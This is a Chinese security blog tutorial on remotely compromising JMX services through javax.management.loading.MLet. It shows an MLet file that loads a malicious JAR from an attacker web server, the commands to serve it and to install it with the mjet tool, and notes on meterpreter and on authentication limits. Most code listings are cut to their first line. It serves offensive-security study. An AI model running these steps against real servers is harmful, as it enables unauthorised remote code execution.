上一节中介绍了JMX的框架及demo实现,在此基础上,来谈谈JMX的安全问题。JMX的安全问题,主要发生在
- jmx
- mbean
- rmi
其中,通过利用MLet是最常用的攻击手法,算是jmx特性+mbean利用,本节主要讲讲通过Mlet的攻击
MLet
Mlet 指的是javax.management.loading.MLet,该mbean有个getMBeansFromURL的函数,可以从远程mlet server加载mbean。
攻击过程:
- 启动托管MLet和含有恶意MBean的JAR文件的Web服务器
- 使用JMX在目标服务器上创建MBeanjavax.management.loading.MLet的实例
- 调用MBean实例的getMBeansFromURL方法,将Web服务器URL作为参数进行传递。JMX服务将连接到http服务器并解析MLet文件
- JMX服务下载并归档MLet文件中引用的JAR文件,使恶意MBean可通过JMX获取
- 攻击者最终调用来自恶意MBean的方法
Show me the code
evil Mbean
文件结构
1 | ├── Evil.java |
1 | /** |
1 | /** |
mlet server
文件结构
1 | ├── mlet |
1 | <html><mlet code="com.m0d9.sec.example.jmx.mlet.Evil" archive="example-1.0-SNAPSHOT.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html> |
其中
- example-1.0-SNAPSHOT.jar 为evel MBean的jar包,com.m0d9.sec.example.jmx.mlet.Evil 为路径
- name可自定义,为步骤被3创建的MBean
- 为http server地址,可通过python -m快速创建
1 | /java/com/m0d9/sec/example/jmx/mlet> python -m SimpleHTTPServer 4141 |
attack code
1 | /** |
mjet
其中的步骤也可以使用现有工具mjet【3】实现
1 | $ python mjet.py 127.0.0.1 1099 install aaa http://localhost:8080 8080 |
其中的逻辑步骤都已经很详细的输出了
当然还有mjet其他的玩法,比如结合meterpreter进行使用
限制
参考【2】,此总攻击方式有以下限制
- JMX服务器可以连接到由攻击者控制的http服务。这是在目标服务器上加载恶意MBean的必要条件。
- 未启用JMX身份验证。
启用JMX身份验证之后,还必须设置jmx.remote.x.mlet.allow.getMBeansFromURL=true才能调用getMBeansFromURL
MBeanServerAccessController 的具体实现:
1 | final String propName ="jmx.remote.x.mlet.allow.getMBeansFromURL"; |
小结
本节介绍了通过javax.management.loading.MLet来攻击JMX服务,在允许getMBeansFromURL的时候是最简单的攻击手段。如果存在限制,还可以尝试从其他可利用的mbean或者反序列化来尝试利用,后续再继续分享。
参考
- [1] 基于JMX协议攻击方式总结
- [2] 如何入侵基于RMI的JMX服务
- [3] mjet
- [4] Apache Solr 之JMX远程代码漏洞分析
- [5] 【入坑JAVA安全】在?进来看看怎么攻击JMX吧